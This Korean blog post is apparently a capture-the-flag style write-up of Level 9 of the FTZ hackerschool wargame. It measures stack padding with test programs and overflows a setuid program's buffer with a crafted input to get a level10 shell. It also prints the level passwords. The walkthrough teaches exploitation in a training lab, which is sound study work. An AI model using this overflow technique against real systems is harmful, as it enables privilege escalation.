ftz.hackerschool.org 의 이미지를 가지고 실습했습니다.
-Level9
level9 / apple
[level9@ftz level9]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 391 11월 13 2002 hint drwxr-xr-x 2 root level9 4096 2월 24 2002 public_html drwxrwxr-x 2 root level9 4096 1월 16 2009 tmp |
|
[level9@ftz level9]$ cat hint
|
다음은 /usr/bin/bof의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } 이를 이용하여 level10의 권한을 얻어라.
|
|
> 힌트의 소스를 보니 오버플로우를 시키는 코드인것 같다. ( 출력문만 봐도 )
> char buf[10] -> buf에 10byte 공간을 할당하는데
> fgets(buf,40,stdin) -> 40byte나 넣을 수 있게 작성 되었다. ( 오버플로우 )
> 조건을 만족하면 권한을 얻는데 아마 buf에 입력을 넘치게 해서 buf2에 go라는 문자를 넣으면 되는 것 같다.
[level9@ftz level9]$ /usr/bin/bof
|
It can be overflow : AAAAAAAAAAgo |
|
> 역시 쉽게 해결되지 않는다. 10개의 A를 넣고 그 이후에는 buf2로 들어가는 게 아닌가 보다.
> 프로그램이 시작되면 변수가 스택에 순서대로 공간을 할당받을 텐데 buf 다음에 buf2가 아닌가?
> 간단한 프로그램으로 확인을 해본다.
[예상]
|
<-- 낮은주소(0x00000000) 높은주소(0xFFFFFFFF) --> +------+---------+--------+--------+--------+--------+--------+--+-------+ |......|strFF[17]|strEE[9]|strDD[5]|strCC[3]|strBB[2]|strAA[1]|AA|.......| +------+---------+--------+--------+--------+--------+--------+--+-------+ 주소1 주소2 주소3 주소4 주소5 주소6 주소7 |
|
> 각각의 변수가 차례대로 들어갈 것이다.
> 확인은 (주소 6 - 주소 7)을 하면 주소 7에서 주소 6까지의 크기가 나온다.
> 그 크기가 strAA[1]의 크기와 같은지 확인한다. (sizeof)
[level9@ftz level9]$ cd tmp
|
#include <stdio.h> int main() { char AA; char strAA[1]; char strBB[2]; char strCC[3]; char strDD[5]; char strEE[9]; char strFF[17]; printf("AA's address: 0x%x, sizeof: 0x%x\n", &AA, sizeof(AA)); printf("strAA[1]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strAA, strAA, &AA - strAA); printf("strBB[2]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strBB, sizeof(strBB), strAA - strBB); printf("strCC[3]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strCC, sizeof(strCC), strBB - strCC); printf("strDD[5]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strDD, sizeof(strDD), strCC - strDD); printf(" strEE[9]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strEE, sizeof(strEE), strDD - strEE); printf("strFF[17]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strFF, sizeof(strFF), strEE - strFF); return 0; } |
|
> strAA 의 주소와 strAA 의 크기, &AA - strAA 앞에 있던 변수와의 거리를 출력한다.
[level9@ftz tmp]$ gcc -o distance distance.c
[level9@ftz tmp]$ ./distance
|
AA's address: 0xbfffe1ef, sizeof: 0x1 strAA[1]'s address: 0xbfffe1ee, sizeof: 0x1, distance: 0x1 strBB[2]'s address: 0xbfffe1ec, sizeof: 0x2, distance: 0x2 strCC[3]'s address: 0xbfffe1d0, sizeof: 0x3, distance: 0x1c strDD[5]'s address: 0xbfffe1c0, sizeof: 0x5, distance: 0x10 strEE[9]'s address: 0xbfffe1b0, sizeof: 0x9, distance: 0x10 strFF[17]'s address: 0xbfffe190, sizeof: 0x11, distance: 0x20 |
|
> 예상대로라면 sizeof 과 distance 값이 같아야한다.
[실제]
|
+------+---------+---+--------+---+--------+---+--------+---+--------+--------+--+-------+ |......|strFF[17]|15 |strEE[9]|7 |strDD[5]|11 |strCC[3]|25 |strBB[2]|strAA[1]|AA|.......| +------+---------+---+--------+---+--------+---+--------+---+--------+--------+--+-------+ 주소1 주소2 주소3 주소4 주소5 주소6 주소7 |
|
> 사이사이에 공간이 있다.
- 더미공간
특별히 의미가 있는 공간이 아닌 최근 컴파일러는 최적화 작업을 거치는데 이 작업이 cpu가 읽어들이기 좋은 형태로 약간의 공백을 알아서 삽입하는 작업이다.
[level9@ftz tmp]$ ls -l /usr/bin/bof
|
-rws--x--- 1 level10 level9 12111 8월 19 2014 /usr/bin/bof |
|
> gdb로 브레이크를 걸어서 buf와 buf2 주소를 알아내고 그 사이에 더미 공간을 알아내야하는데 권한이 없다.
> 힌트에서 소스를 모두 다 알려줬으니 하나 만들어서 그 프로그램을 분석한다.
[level9@ftz tmp]$ vi bof.c
|
#include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2);
if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } |
|
|
It can be overflow : aaa &buf=0xbffff660, &buf2=0xbffff670 |
|
> 60 - 70 = 10 ( 16 byte ) buf와 buf2 는 16 만큼 떨어져 있다.
> char 배열 이므로 buf는 10바이트 이다. 16 - 10 = 6byte 만큼 더미 공간이 있다.
[level9@ftz level9]$ /usr/bin/bof
|
It can be overflow : aaaaaaaaaabbbbbbgo Good Skill! |
|
> level10으로 bash 쉘이 떨여졌다.
[level10@ftz level9]$ id
|
uid=3010(level10) gid=3009(level9) groups=3009(level9) |
|
[level10@ftz level9]$ my-pass
|
Level10 Password is "interesting to hack!". |
|
|
<--- 스택이 증가 방향 ----------------------------------------------------------- 10 6 10 6 4 4 buf[10] dummy buf2[10] dummy SFP RET 0xbffff260 0xbffff270 AAAAAAAAAA BBBBBB go ----------------------------------------------------------- <--- 낮은 메모리 주소 높은 메모리 주소 ---> |
|
'Security > 리버싱' 카테고리의 다른 글
Level 10 문제 해결 (공유 메모리 해킹) (0) | 2017.12.01 |
---|---|
Level9 응용 (스크립트로 반복되는 문자 입력) (0) | 2017.11.30 |
Level8 문제 해결 (0) | 2017.11.30 |
Level7 의사코드 (0) | 2017.11.30 |
Level7 문제 응용 (ASCII) (0) | 2017.11.30 |